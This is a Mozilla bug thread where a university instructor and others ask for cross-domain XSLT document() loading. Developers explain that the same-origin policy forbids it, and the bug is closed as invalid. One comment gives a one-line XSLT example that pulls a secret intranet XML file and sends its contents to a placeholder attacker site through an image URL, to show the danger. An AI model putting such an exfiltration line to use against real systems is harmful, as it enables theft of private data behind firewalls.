353886 - Implement cross-domain XSLT document() function

Status: RESOLVED INVALID

(Core :: XSLT, enhancement)

Description

[Ted Shaneyfelt]

User-Agent:       Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7

There seems to be no way to use document("http://anything") in an XSL Transform.
IE does it fine.


Reproducible: Always

Steps to Reproduce:
1. Create any XSLT that display anything from any http:// URL 
2. Use the XSLT to view the results
3. The data never shows up

Actual Results:  
empty document

Expected Results:  
content of document

If there are security issues, maybe https:// urls should be disallowed, but http:// urls allowed, and we should consider providing a way to allow even https with sufficient warning and the user's permission.

Comment 1

[Jonas Sicking (:sicking) No longer reading bugmail consistently]

We have a same-origin policy for XSLT stylesheets. This is because otherwise it would be possible to load xml files from sites like your bank where you may be logged in which contains sensitive information.

Comment 2

[Ted Shaneyfelt]

(In reply to comment #1)
> We have a same-origin policy for XSLT stylesheets. This is because otherwise it
> would be possible to load xml files from sites like your bank where you may be
> logged in which contains sensitive information.
> 
We're possibly throwing the baby out with the bathwater here. There are several ways to accomplish the goal of allowing XSLT to bring together data from multiple sources without compromising security.

1. Discriminate between HTTP and HTTPS (my preference). What bank doesn't use HTTPS instead of HTTP for their transactions? If they did, they should change to prevent man-in-the-middle attacks. I can imagine a bank publishing rates over http, and that would be useful for XSLT without compromising security because it's public information; but they should change to HTTPS for secure transactions.

2. Another possible workaround is to define an attribute for the root element of a document that explicitly specifies that is ok to access that document for transformation. (How about moz:sensitive='no' or something similar in the root element?)

3. Using ample warnings of the potential security threat to the end user is another technique that could be made to work. You might allow access on a site-by-site basis.

I'm sure there are other solutions, but there hasn't been any discussion yet of these most obvious ones that come to mind.

Thanks for your consideration

Comment 3

[Peter Van der Beken [:peterv]]

Not much discussion needed I think: we'll do something similar as for XMLHTTPRequest, whenever that happens.

Comment 4

[Ted Shaneyfelt]

Attachment: XSLT screen-dump using Cross-domain document() with MSIE

This XSLT allows the instructor to graphically view student progress as published in the students' own directories. (Personally identifiable information was made illegible in the image for privacy.)

Comment 5

[Ted Shaneyfelt]

Attachment: Individual Student's View

This is the individual students' detailed view of their grades with comments on each assignment. For security it is important that the students can't access each  others' grades, but the instructor combines data from all of their accounts with XSLT, currently possible with MSIE and not Moz. (details illegible for privacy of the student)

This can be done if security settings can be made to work correctly. Moz needs to be modified to do it, though, or we'll be stuck with using MSIE for this and similar tasks.

_-Ted Shaneyfelt
 Department of Computer Science
University of Hawaii at Hilo

Comment 6

[Peter Schut]

This capability would be extremely useful.  Right now Firefox doesn't even support  XSL files from a different port!

I would prefer a pop-up warning to be displayed, allowing the user to accept calls to the requested domain for this (and future) stylesheets.

Cheers, Peter.

Comment 7

[David Duong]

Although I have made use of XMLHTTPRequest, I am not familiar with how it deals with cross-domain requests, so hopefully what I am adding is not redundant.

Although I totally agree with the idea that there should be some secure way to allow websites to draw data from external sources. For example, there must be a way for www.domain.com www.domain2.com to use a XSLT document on domain.com without having to set up some server-side solution.

However, if Firefox allowed websites to load content from non-secure URIs by default or give users the option to allow this, then the user's private data stored on a non-secure or poorly designed websites like a blog or forum would be compromised w/o the user even knowing about it, which is probably a bad idea.

Instead, adding to Ted's third option, a functionality that behaves similar to FireFox's pop-up blocker message, but distinct so that the two are not confused (e.g. a different icon and colored bar). The user could explicitly allow domain A to retrieve content from domain B. This way the user would know whether or not to trust domain A, or whether or not domain B has sensitive information.

Regards, David Duong

Comment 8

[David Duong]

just to clarify: what I said about XMLHTTPRequest was referring to Peter Van der Beken's comment. Everything else that I said was about XSLT.

Comment 9

[Satyendra]

I agree with Peter Schut (comment #6). This capability would be useful, because one might want to use the same stylesheet with many (similar) xml files that are available in different locations.

Comment 10

[Thorsten Rissom]

> However, if Firefox allowed websites to load content from non-secure URIs by
> default or give users the option to allow this, then the user's private data
> stored on a non-secure or poorly designed websites like a blog or forum would
> be compromised w/o the user even knowing about it, which is probably a bad
> idea.

Sorry, but I think this is not really such a big problem. If the data is private people should use https. To download data from different xml-sources on the internet an meld them into a single page creates huge opportunities. At the moment flash can be used to achieve the same effect (e.g. omdb.org). It would be much nicer to do this with xml+xsl in the browser! It would also give the opportunity to shift a lot of logic from the server to the client (which is good for the security of the server).
Does anybody know if flash can be used for cross-site scripting?

Comment 11

[Lars-Erik]

Hi! I just bumped into this issue myself and thought I'd share my two cents.

> For security it is important that the students can't access
> each  others' grades, but the instructor combines data from all of their
> accounts with XSLT, currently possible with MSIE and not Moz.

In my head, this scenario is not really relevant for the feature discussed. Why would the full xml file be available to all students at all? If the grades of all students is available on someuniversity.edu/allgrades.xml I wouldn't need a stylesheet on myserver.com to see those grades, I'd just go and read the plain xml on the first server. A request for that xml document should give me a 401 exception and toss me out. If I log in and view it over HTTP instead of HTTPS someone could sniff out the content as well. If I then decide to view it through myserver.com's stylesheet after logging in, that sure isn't myserver.com's responsibility, and even less my browsers responsibility to stop.

> Does anybody know if flash can be used for cross-site scripting?
Not with firefox. :) Cross domain webservice calls works with IE 7. Flash should really have its own setting for this, not being tampered with by the browser.

I might miss something, but viewing already _public_ xml via a stylesheet on a different server is not a security hole. Rather a wonderful possibility for sharing data. _Posting_ data with scripted a HTTP request is a completely different issue though, keep that protected. 

I hope this is looked into before the next major version. ;)

Lars-Erik

Comment 12

[Peter Van der Beken [:peterv]]

(In reply to comment #11)
> I might miss something, but viewing already _public_ xml via a stylesheet on a
> different server is not a security hole.

Depends on how you define public, it might be behind a firewall and the client could be used to circumvent that firewall. To the client the data is "public", to the server serving the original stylesheet it isn't (and shouldn't be).

Comment 13

[Ted Shaneyfelt]

(In reply to comment #11)
> Hi! I just bumped into this issue myself and ...
> Why
> would the full xml file be available to all students at all? ...

You misunderstand. Each student's grades file is published with proper r/w privileges into in his own folder that others cannot see. The allgrades file only fetches the XML from all their folders and combines them (for the instructor with proper access) to see that they are published properly. 

> I might miss something, but viewing already _public_ xml via a stylesheet on a
> different server is not a security hole. Rather a wonderful possibility for
> sharing data.

Correct, and XSLT should be able to combine and present such data as desirable.

> _Posting_ data with scripted a HTTP request is a completely
> different issue though, keep that protected. 

The client machine knows nothing about server side scripting, so you must be referring to the result of a client side script being used as data. But when it's fetched as XML data, I don't see why any client side scripts should run. Therefore, this should not be an issue.

> I hope this is looked into before the next major version. ;)

I agree.

Comment 14

[Lars-Erik]

> To the client the data is "public",
> to the server serving the original stylesheet it isn't (and shouldn't be).

Indeed, but then the server hosting the stylesheet wouldn't have contact with the xml anyway would it? No harm in looking at a private xml file using a public stylesheet.. Unless there's a sneaky data-posting technology in xsl I'm not aware of. :)

Comment 15

[Lars-Erik]

Uhm. I just arrested myself on a couple of issues and misunderstandings here. (sneaky data-post) But as long as a client-side HTTP post is prohibited as we all agree, I still don't see why cross domain xsl should be disallowed. I guess everything will end up in perfect order.

Comment 16

[Peter Van der Beken [:peterv]]

(In reply to comment #14)
> > To the client the data is "public",
> > to the server serving the original stylesheet it isn't (and shouldn't be).
> 
> Indeed, but then the server hosting the stylesheet wouldn't have contact with
> the xml anyway would it? No harm in looking at a private xml file using a
> public stylesheet.. Unless there's a sneaky data-posting technology in xsl I'm
> not aware of. :)

Server A serves document a.xml that loads stylesheet a.xsl. a.xsl uses document() to load b.xml from server B (behind firewall), inserts it into the result document which uses javascript to upload it using XMLHttpRequest to server A. Restricting HTTP POST doesn't give us any security and limits what XSLT can be used for.

This bug will be fixed around the same time as the fix for cross-site XMLHttpRequest. Until then there's no need to advocate for fixing this bug, we know how we'll fix it, it's just a matter of getting a stable spec.

Comment 17

[Jonas Sicking (:sicking) No longer reading bugmail consistently]

Once data has been inserted into the result document, a script in the result document can take the data and post it using XMLHttpRequest back to the home server.

Comment 18

[Jonas Sicking (:sicking) No longer reading bugmail consistently]

Actually, you can even do it using pure XSLT:

<img href="http://evil-data-stealing-site.com/storedata.php?data={document('http://intranetserver/secretdata.xml')}">

This will take all the text in the secret document and send to the evil data logging site.

Comment 19

[Ted Shaneyfelt]

Does IE allow that?

It seems to me that if I have write access to a file on my own system, I should be able to trust it. However, options #2 or #3 should be sufficient to alleviate those concerns. (allow root element to declare data insensitive and/or warnings before proceeding, depending on how many layers of safety make you feel comfortable).

Comment 20

[David Eckel]

For reference, bug 245463 involves cross-domain XSL stylesheets. Does it make sense to maintain these as separate bugs if document(), xsl:import, xsl:include, and xml-stylesheet are (presumably) using the same security model?

Comment 21

[David Eckel]

The same security model also seems to be an issue in bug 129551, involving document.load().

Comment 22

[Anne (:annevk)]

Cannot violate the same-origin policy.